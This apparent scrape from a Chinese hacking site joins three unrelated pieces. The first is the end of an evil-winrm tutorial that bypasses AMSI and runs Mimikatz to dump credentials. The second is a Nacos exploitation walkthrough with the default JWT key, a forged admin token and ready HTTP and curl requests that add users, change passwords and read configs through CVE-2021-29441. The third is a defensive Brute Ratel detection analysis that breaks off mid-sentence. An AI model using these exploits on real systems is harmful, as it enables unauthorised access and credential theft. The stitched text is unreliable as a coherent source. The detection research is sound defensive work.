Evil-winrm 还提供了一项允许我们使用来自目标主机自带的powershell脚本的功能。 可以直接将脚本加载到内存中 ，我们可以使用带有-s 参数接目标系统的powershell脚本的相对路径 。 此外，该工具还提供了我们在导入任何脚本之前经常需要用到的 AMSI 功能。 在下面的示例中，我们将绕过 AMSI 功能，直接从系统中调用 Invoke-Mimiktz.ps1 脚本到目标主机中并将其加载到内存中。 之后，可以使用 mimikatz 命令。 本次出于演示目的，我们直接从缓存中转储了系统登陆凭据。 转储凭据后，我们可以再次使用获得的 NTLM 哈希进行哈希传递攻击。

https://github.com/clymb3r/PowerShell/blob/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1

ismxob1geb114179.png

evil-winrm -i 192.168.1.19 -u administrator -p Ignite@987 -s /opt/privsc/powershell
Bypass-4MSI
Invoke-Mimikatz.ps1
Invoke-Mimikatz

15i1wfr1zri14181.png

使用 Evil-winrm 存储日志

此功能表示在获取远程会话后，将执行命令的日志保存到我们的本地系统中。 我们在平时做项目时，都需要攻击凭据，以便进行后续报告输出。可以使用 -l 参数将 将所有日志保存到我们的主机系统中 ，默认保存到 /root/evil-winrm-logs 目录中。在下面的示例中，我们可以同时使用了 ipconfig 命令并将命令输出信息保存到主机系统中。

evil-winrm -i 192.168.1.19 -u administrator -p Ignite@987 -l

wkhop03xdqp14183.png

可以通过检查保存的日志内容来验证是否存将命令日志输出存储成功，可以看到已经存储了我们上文命令输出的日志信息。

1h33eve0f3z14187.png

禁用远程完整路径功能

默认情况下，该工具带有远程完整路径功能，但如果我们希望禁用远程路径完整功能，我们可以 在命令中使用-N参数。 这取决于个人是否喜欢打开或关闭路径完整功能，但如果您对自动完整路功能感到满意，则可以随意使用其默认功能。 

 evil-winrm -i 192.168.1.19 -u administrator -p Ignite@987 -N

zlw3gtdnk3f14190.png

禁用彩色界面

每当我们使用 evil-winrm 建立任何远程会话时，都会生成一个漂亮的彩色命令行界面。 尽管如此，如果我们希望禁用彩色界面功能，那么我们也可以在建立会话时使用-n 参数来禁用该功能。

 evil-winrm -i 192.168.1.19 -u administrator -p Ignite@987 -N

5ldymd2jhqo14191.png

运行可执行文件

此功能旨在解决我们在进行 PowerShell 会话时在评估期间遇到的实时问题和困难，我们不能将其放到命令行中。 在这种情况下，我们希望能够在 evil-winrm 会话中运行 exe 可执行文件。 假设我们有一个要在目标系统中运行的可执行文件。

zhwj0rqmlvi14192.png

Hackplayers 团队再次设计了该工具并添加了一个额外的功能，可以在 evil-winrm PowerShell 会话中运行所有可执行文件。 同样，我们可以使用 -e 参数来执行 exe 可执行二进制文件。 在下面的示例中，其中 WinPEAS.exe 可执行文件存储在本地计算机 /opt/privsc目录中，并使用 附加功能（  evil-winrm 菜单中的Invoke-Binary命令 ）来运行它。 此功能允许我们执行在命令行 shell 中运行的任何 exe 二进制文件。 

evil-winrm -i 192.168.1.19 -u administrator -p Ignite@987 -e /opt/privsc
Bypass-4MSI
menu
Invoke-Binary /opt/privsc/winPEASx64.exe

3xlalrhbjbl14195.png

一旦我们设置了可执行文件路径，我们就可以使用我们希望在目标系统中运行的任何可执行文件。 在下面的示例中，我们调用 WinPEASx64.exe 并使用 evil-winrm 将其运行到目标系统中。

h1hnxlx2iyp14197.png

使用 Evil-winrm 进行服务查询

有时后渗透测试工具，无法检测到目标系统中运行的服务名称。 在这种情况下，我们可以使用 evil-winrm 来查找目标系统中运行的服务名称。 为此，我们可以再次转到菜单并使用服务功能。 它将列出所有运行程序主机的服务。

2rima55wlhj14198.png

使用 Evil-winrm 进行文件传输

毫无疑问，evil-winrm 已尽最大努力使我们的使用尽可能地简单。 我们总是需要将文件从攻击机器传输到远程机器以执行其命令操作。 而 evil-winrm 工具提供的一项非常实用的功能，尤其是在我们面对目标系统中设置的出站流量规则以及我们将 evil-winrm 与代理一起使用时的情况下。 在下面的示例中，我们将/root目录中的notes.txt文件上传 到目标系统中。

t2zboiae4xo14199.png

文件从目标系统下载到攻击者的机器上。 同样，我们可以使用下面命令进行下载：

download notes.txt /root/raj/notes.txt

eqq0pf3scaz14200.png

e5zzxxndnrk14201.png

从 Docker 使用 Evil-winrm

此工具也可以安装在 docker 中。 如果我们在安装到evil-winrm的docker中，那么我们也可以从docker中调用它。 它将像在主系统中一样运行。 为此，请遵循 docker 语法以及 evil-winrm 命令从 docker 调用它。 

docker run --rm -ti --name evil-winrm  oscarakaelvis/evil-winrm -i 192.168.1.105 -u Administrator -p 'Ignite@987'

a33r1ach1hg14202.png

使用 Evil-winrm 密钥登录

Evil-winrm 还允许我们使用公钥和私钥建立远程会话，使用 带有-k的参数跟私钥，以及带有-c 的参数跟公钥，此外，我们还可以添加 -S 参数来启用 SSL 来使我们的连接加密和安全。 

evil-winrm -i 10.129.227.105 -c certificate.pem -k priv-key.pem -S

52dwa4a0kk014204.png


HireHackking

 Nacos漏洞总结复现



一、Nacos默认key导致权限绕过登陆

0x00 漏洞描述

Nacos中发现影响Nacos <= 2.1.0的问题，Nacos用户使用默认JWT密钥导致未授权访问漏洞。 通过该漏洞，攻击者可以绕过用户名密码认证，直接登录Nacos用户

0x01 漏洞影响

0.1.0 <= Nacos <= 2.2.0

0x02 漏洞搜索

fofa：app="NACOS"

0x03 漏洞复现

在nacos中，token.secret.key值是固定死的，位置在conf下的application.properties中：

image.png

nacos.core.auth.plugin.nacos.token.secret.key=SecretKey012345678901234567890123456789012345678901234567890123456789

 1.获取token

利用该默认key可进行jwt构造，直接进入后台，构造方法：
在https://jwt.io/中：输入默认key：

SecretKey012345678901234567890123456789012345678901234567890123456789

然后再payload里面输入：

{

  "sub": "nacos",

  "exp": 1678899909

}

在这里注意：1678899909这个值是unix时间戳，换算一下，要比你系统当前的时间更晚，比如当前的时间是2023年03月15日22:11:09，在这里面的时间戳时间是3月16号了：

image.png

image.png

注意：

以下是伪造JWT值绕过权限的测试结果

1、延长时间戳，POST 密码错误，用户名正确 ✅

2、延长时间戳，POST 密码错误，用户名错误 ✅

3、删除时间戳，POST 密码错误，用户名错误 ✅

复制上面得到的值，在burp里面选择登录之后构造：

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3ODg5OTkwOX0.Di28cDY76JCvTMsgiim12c4pukjUuoBz6j6dstUKO7s

image.png

方框里面需要自行添加：

POST /nacos/v1/auth/users/login HTTP/1.1

Host: 10.211.55.5:8848

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:104.0) Gecko/20100101 Firefox/104.0

Accept: application/json, text/plain, */*

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 33

Origin: http://10.211.55.5:8848

Connection: close

Referer: http://10.211.55.5:8848/nacos/index.html

Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3ODg5OTkwOX0.Di28cDY76JCvTMsgiim12c4pukjUuoBz6j6dstUKO7s


username=crowsec&password=crowsec

此时就得到了token信息：

HTTP/1.1 200 

Vary: Origin

Vary: Access-Control-Request-Method

Vary: Access-Control-Request-Headers

Content-Security-Policy: script-src 'self'

Set-Cookie: JSESSIONID=D90CF6E5B233685E4A39C1B1BDA9F185; Path=/nacos; HttpOnly

Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3ODg5OTkwOX0.Di28cDY76JCvTMsgiim12c4pukjUuoBz6j6dstUKO7s

Content-Type: application/json

Date: Wed, 15 Mar 2023 14:13:22 GMT

Connection: close

Content-Length: 197


{"accessToken":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3ODg5OTkwOX0.Di28cDY76JCvTMsgiim12c4pukjUuoBz6j6dstUKO7s","tokenTtl":18000,"globalAdmin":true,"username":"nacos"}


此时就得到了nacos的token信息。

2.利用获取token登录后台

如何登录呢，在这里需要用假账号登录之后，再修改返回包就行了，试试看：
先用假账号登录，用burp拦截：
image.png

这肯定进不去的，在这里修改返回包，右键看下这个：

image.png

然后Forward，这边返回的信息肯定是无效的：

image.png

在这里使用刚刚burp里面生成的返回包进行替换，全部复制过去：

image.png

再forward一次：
image.png

此时就已经进去了：

image.png

3.使用默认密钥生成的JWT查看当前用户名和密码
GET /nacos/v1/auth/users?accessToken=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3ODg5OTkwOX0.Di28cDY76JCvTMsgiim12c4pukjUuoBz6j6dstUKO7s&pageNo=1&pageSize=9 HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
Connection: close
If-Modified-Since: Wed, 15 Feb 2023 10:45:10 GMT
Upgrade-Insecure-Requests: 1
accessToken: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3ODg5OTkwOX0.Di28cDY76JCvTMsgiim12c4pukjUuoBz6j6dstUKO7s


4.利用默认密钥，添加hellonacos用户密码为hellonacos，创建成功

POST /nacos/v1/auth/users HTTP/1.1Host: {{Hostname}}User-Agent: Mozilla/5.0 Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3ODg5OTkwOX0.Di28cDY76JCvTMsgiim12c4pukjUuoBz6j6dstUKO7sAccept-Encoding: gzip, deflate Connection: closeUpgrade-Insecure-Requests: 1If-Modified-Since: Wed, 15 Feb 2023 10:45:10 GMTContent-Type: application/x-www-form-urlencodedContent-Length: 39
username=hellonacos&password=hellonacos


二、Nacos默认配置未授权访问漏洞

http://10.10.84.207:8848/nacos/v1/auth/users?pageNo=1&pageSize=9&search=accurate&accessToken
http://your_ip:8848/nacos/v1/auth/users/?pageNo=1&pageSize=9
p0fccr4edvt14174.jpg2yfzm2swjxi14176.jpg


三、 Nacos2.2.0权限绕过

Header中添加serverIdentity: security能直接绕过身份验证查看用户列表
pbbjhp3b5ph14178.jpg如果没有或者不对应则返回403cwq1ypjc0yf14182.jpg

四、Nacos1.x.x版本User-Agent权限绕过((CVE-2021-29441)

0x01 漏洞描述

在 1.4.1 及更早版本的 Nacos 中，当配置为使用身份验证 （Dnacos.core.auth.enabled=true） 时，会使用 AuthFilter servlet 过滤器来强制实施身份验证，从而跳过身份验证检查。此机制依赖于用户代理 HTTP 标头，因此很容易被欺骗。此问题可能允许任何用户在 Nacos 服务器上执行任何管理任务。

0x02 环境搭建

docker run -d -p 8848:8848 hglight/cve-2021-29441

0x03 漏洞影响

Nacos <= 1.4.1

0x04 漏洞复现

1.修改User-Agent的值为Nacos-Server到请求包中,添加Header头后访问http://target:8848/nacos/v1/auth/users?pageNo=1&pageSize=9可以看到返回值为200,且内容中是否包含pageItemsGET /nacos/v1/auth/users/?pageNo=1&pageSize=9 HTTP/1.1
Host: 192.168.246.138:8848
User-Agent: Nacos-Server

或者使用命令访问：读取用户密码：curl  'http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9&accessToken=' -H 'User-Agent: Nacos-Server'curl 'http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9&search=blur' -H 'User-Agent: Nacos-Server'
curl 'http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9&search=accurate' -H 'User-Agent: Nacos-Server'未授权添加用户curl -X POST 'http://127.0.0.1:8848/nacos/v1/auth/users?username=test1&password=test1' -H 'User-Agent:Nacos-Server任意用户密码更改curl -X PUT 'http://127.0.0.1:8848/nacos/v1/auth/users?accessToken=' -H 'User-Agent:Nacos-Server' -d 'username=test1&newPassword=test2'读取配置文件curl -X GET 'http://127.0.0.1:8848/nacos/v1/cs/configs?search=accurate&dataId=&group=&pageNo=1&pageSize=99’curl -X GET 'http://127.0.0.1:8848/nacos/v1/cs/configs?search=blur&dataId=&group=&pageNo=1&pageSize=99’
添加Header头后使用POST方式请求http://target:8848/nacos/v1/auth/users?username=vulhub&password=vulhub添加一个新用户,账号密码都为vulhubPOST /nacos/v1/auth/users?username=hglight&password=hglight HTTP/1.1
Host: 192.168.246.138:8848
User-Agent: Nacos-Server或者POST /nacos/v1/auth/users HTTP/1.1Host: 192.168.31.64:8848Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Nacos-ServerAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 27
username=hglight&password=hglight
再次查看用户列表，返回的用户列表数据中，多了一个我们通过绕过鉴权创建的新用户
GET /nacos/v1/auth/users/?pageNo=1&pageSize=9 HTTP/1.1
Host: 192.168.246.138:8848
User-Agent: Nacos-Server
访问http://IP:8848/nacos使用新建用户登录，此时表示漏洞利用成功
















		

		
		

			

		

	
	


		
			



	

		

			


	
		HireHackking
	

			
		

	

	

		

			
如何發現信標（一）



我們在上一篇文章介紹了對C2 框架執行威脅追踪的通用方法以及針對Cobalt Strike 的實際示例。接下來，我們將分析由Dark Vortex 開發的命令和控制框架Brute Ratel。其C2如下所示：



 1.png



在過去的幾個月裡，該框架受到了密切關注，據稱最近被APT29 和勒索軟件組織BlackCat 濫用。因此，了解如何在基礎設施中普遍地檢測這個新興的C2對於防御者來說是有用的。



最初，所有分析都是在Brute Ratel v1.0.7上執行的，但是，我們進行了粗略的更新，討論了與v1.1 相關的發現，該發現是在我們最初的x33fcon 演示後不久發布的。 Brute Ratel 應該注意的一件事是，badger 的擴展性有限，主要從c2 通道的角度來看，除了v1.1 ，它增加了休眠混淆技術的擴展性。因此，它可以為工具創建非常具體的檢測。



Brute Ratel 的加載器Brute Ratel 的badger有多種形式，包括exe、DLL 和shellcode。當badger 被注入時，它的反射加載器將立即加載badger 所需的所有依賴項。由於badger 捆綁了大量的後利用功能，這導致在初始化時加載大量DLL：



 2.png



如上所示，突出顯示的DLL 是注入badger 時加載的所有DLL。此列表包括winhttp.dll 和wininet.dll 的加載，它們不一定是惡意的，而是輸出信標的傳統加載。然而，還有一些不太常見的dll被加載，比如dbghelp.dll、credui.dll samcli.dll和logoncli.dll等。



這種行為允許我們為圖像加載創建一個簽名，並產生一個高信號指示器，可以通過圖像加載檢測來尋找。



例如，使用彈性查詢語言，我們可以搜索credui.dll、dbghelp.dll和winhttp.dll在一個進程中相互間隔60秒內發生的加載事件序列：



 3.png



使用EQL 工具或Elastic 的雲，我們可以搜索我們的事件數據，例如從sysmon 日誌中提取的以下內容。請注意，我們明確排除了badger 可執行文件本身，因此我們只能識別注入的badger：



 4.png



這將導致以下顯示檢測到被注入notepad.exe 的badger：



 5.png



這個查詢特別強大，因為它允許我們在網絡中追溯尋找Brute Ratel badger的指標，而無需直接在終端上運行代碼。



內存中的Brute Ratel由於大多數信標仍然駐留在內存中，因此了解留下的足跡以尋找它們非常重要。查看1.0 版本的Brute Ratel 文檔，它詳細介紹了它自己的混淆和休眠實現：



 6.png



這個查詢特別強大，因為它允許我們在網絡中追溯尋找Brute Ratel badger的指標，而無需直接在終端上運行代碼。



由於大多數信標仍然駐留在內存中，因此為了尋找它們，了解留下的足跡是很重要的。回顧一下Brute Ratel 1.0版本的文檔，它詳細介紹了它自己的混淆和休眠實現：



 7.png



一旦badger進入休眠狀態，我們就可以使用Process Hacker 從進程中恢復字符串。有趣的是，當badger休眠時，我們可以看到如下字符串：



 8.png



鑑於前面提到的在Brute Ratel 博客上描述的所謂的休眠和混淆策略，這最初是相當令人驚訝的。



深入挖掘後，我們可以發現一些有趣的設計決策，其中顯示在操作員UI 中的許多字符串都是從badger本身填充的。例如，我們可以在badger休眠時的內存中看到以下內容：



 9.png



然後這些字符串返回到UI，如下所示：



 10.png



深入研究badger，很快就發現只有.text 部分在休眠時被混淆，使得badger容易受到針對字符串和數據的各種簽名的影響。



為了說明這一點，反轉badger，我們可以將加載程序的入口點視為“bruteloader”：



 11.png



在badger休眠時在內存中搜索這個字符串，我們可以在記事本進程中快速找到它：



 12.png



這些字符串為內存掃描的Yara 規則提供了一個很好的基礎。例如，以下規則將在進程的內存中搜索bruteloader 或bhttp_x64.dll 字符串：



 13.png



我們可以在badger休眠時針對我們的記事本進程測試這些以證明其有效性：



 14.png



字符串不太可能存在於其他進程中，使用簡單的一行代碼就可以快速找到測試系統中所有被注入的badger：



 15.png



使用Yara 規則，我們可以快速找到其他樣本，例如：



 16.png



頁面權限通過對Brute Ratel混淆和睡眠策略的分析，可以觀察到badger在休眠期間對badger的頁面權限進行調整，以試圖逃避badger休眠時延長的可執行權限。



下面，我們可以看到badger 在sleep 0 上運行，badger 的頁面權限在未映射的頁面上為PAGE_EXECUTE_READ，這對於執行任務是必要的。



 17.png



讓badger進入休眠狀態，我們可以看到混淆和休眠策略混淆了.text 部分並將badger的頁面權限重置為PAGE_READWRITE：



 18.png



有趣的是，我們注意到在執行SMB 數據透視時不會復制此行為，即當兩個badger被關聯時。在這裡，我們可以看到我們的兩個badger相互關聯，並且都處於60 秒的休眠狀態：



 19.png



對兩個badger 關聯時的頁面權限分析表明，無論休眠時間如何，兩者都保持PAGE_EXECUTE_READ：



 20.png



結論是混淆和休眠策略僅適用於.text 部分。



出於對模糊處理和睡眠功能如何工作的好奇，我們開始對其進行逆向工程。通過windbg 中的sleep 例程，我們可以初步了解正在發生的事情，badger正在使用WaitForSingleObjectEx 在一系列異步過程調用(APC) 期間延遲執行，並利用間接系統調用來執行NtTestAlert 並在線程上強制發出警報：



 21.png



深入了解IDA，我們可以更好地了解正在發生的事情。首先，它創建一個新線程，其起始地址被欺騙到TpReleaseCleanupGroupMembers+550 的固定位置：



 22.png



然後為NtWaitForSingleObject、NtProtectVirtualMemory、SystemFunction032、NtGetContextThread 和SetThreadContext 的多個函數調用創建一系列上下文結構：



 23.png



接下來，許多APC 排隊等待NtContinue，目的是使用它來代理對上述上下文結構的調用，這種技術是ROP的基本形式：



 24.png



在對睡眠技術進行逆向工程後，我們很快意識到它與@ilove2pwn_的Foliage項目非常相似，只是硬編碼的線程起始地址不同。



儘管對badger進行了大量的調試和逆向工程，但我們無法揭示v1.0 博客文章中引用的“Windows 事件創建、等待對象和計時器”技術的任何實證，事實上，這些技術所需的API 似乎並沒有通過badger 的哈希導入來輸入。



Brute Ratel線程為了分析Brute Ratel 線程在內存中的外觀，我們將badger 注入到記事本的新副本中。隨即，我們可以看到休眠的badger使用的線程中有一些可疑的指標。



首先，我們注意到有一個看起來可疑的線程，其起始地址為0x0，並且在調用堆棧中有一個調用WaitForSingleObjectEx 的單獨的幀：



 25.png



根據對線程調用堆棧的分析，我們可以推測該線程用於HTTP 通信，而badger現在正在休眠：



 26.png



根據我們從對混淆和休眠策略進行逆向工程獲得的信息，我們注意到新線程是使用硬編碼的欺騙起始地址ntdll!TpReleaseCleanupGroupMembers+0x550 創建的：



 27.png



我們無法找到任何作為起始地址自然發生的實例，因此導致了一個用於尋找Brute Ratel 線程的微不足道的指標。實際上，我們注入的記事本進程如下所示：



 28.png



線程的調用堆棧也略有不規則，因為它不僅包含延遲執行的調用，而且第一幀指向ntdll.dll!NtTerminateJobObject+0x1f。深入了解為什麼使用NtNerminateJobObject 會突出顯示這只是NtTestAlert 的ROP 小工具，用於在線程上執行掛起的APC：



 29.png



內存掛鉤在第一篇文章中，我們詳細介紹了兩種基於內存掛鉤檢測內存信標的潛在方法，通過查找已知補丁的簽名（例如ret to ntdll.dll!EtwEventWrite）並通過檢測寫入操作的副本。



將這些概念應用到Brute Ratel中，我們注意到，在操作員使用其開發後功能之前，badger不會應用任何內存掛鉤。一個例子是Sharpinline 命令，它在當前進程中運行一個.NET 程序集：



 30.png



一旦組裝完成並且信標重新進入休眠狀態，我們可以通過附加調試器並反彙編ntdll.dll!EtwEventWrite 和amsi.dll!AmsiScanBuffer 的值來更好地了解發生了什麼：



 31.png



如上所示，這些是禁用.NET ETW 數據和禁止AMSI 的簡單且持久的補丁。由於補丁是持久的，我們可以通過上述任何一種技術來檢測它們，因為我們不僅會因為EtwEventWrite 的第一條指令是ret 而收到高信號檢測，而且還會因為EtwEventWrite所在的頁面由於共享位的清除而被修改。



使用BeaconHunter，我們可以通過解析修改頁面上的導出信息，快速檢測出這些掛鉤，為惡意篡改提供了強有力的指示：



 32.png



Brute Ratel C2 服務器遠離終端，作為防御者，我們也有興趣檢測命令和控制基礎設施，因為這可能有助於為我們提供足夠的智能來檢測基於網絡檢測的信標。



Brute Ratel的C2服務器是用golang開發的，默認情況下只允許操作員修改C2的默認登錄頁面。為了識別C2服務器，我們發現在向任何URI發送包含base64的POST請求時，都可能生成未處理的異常。例如，考慮下面base64 POST數據與明文數據的比較：



 33.png



這很可能是因為base64 解碼POST 數據的預期輸入應符合C2 通信格式。一個簡單的Nuclei 規則可能會幫助我們掃描這種基礎設施：



 34.png



除了與C2 的直接交互之外，還可以檢測C2 基礎設施，其中操作員沒有根據HTML 的哈希(http.html_hash=-1957161625) 手動重新定義默認登錄頁面。



使用一個簡單的Shodan查詢，我們可以快速找到暴露在互聯網上的實時基礎設施：



 35.png



雖然只確定了大約40 個組織服務器，但根據地理分佈，我們可以更好地了解這些服務器的位置：



 36.png



其中一些技術很可能已經為人所知，因為根據針對我們測試基礎設施的報告，防御者正在積極尋找這些C2 服務器：



 37.png



蠻橫的Ratel 配置對Badger 的分析表明，Brute Ratel 在內存中維護了一個加密的配置結構，其中包括C2 終端的詳細信息。能夠從工件或正在運行的進程中提取這一點對防御者很有幫助。我們的分析表明，此配置保存在base64 和RC4 加密的blob 中，使用badger的工件中的固定密鑰“bYXJm/3#M?XyMBF”，而配置以明文形式存儲在內存中供休眠的badger使用。



我們開發了以下配置提取器，可用於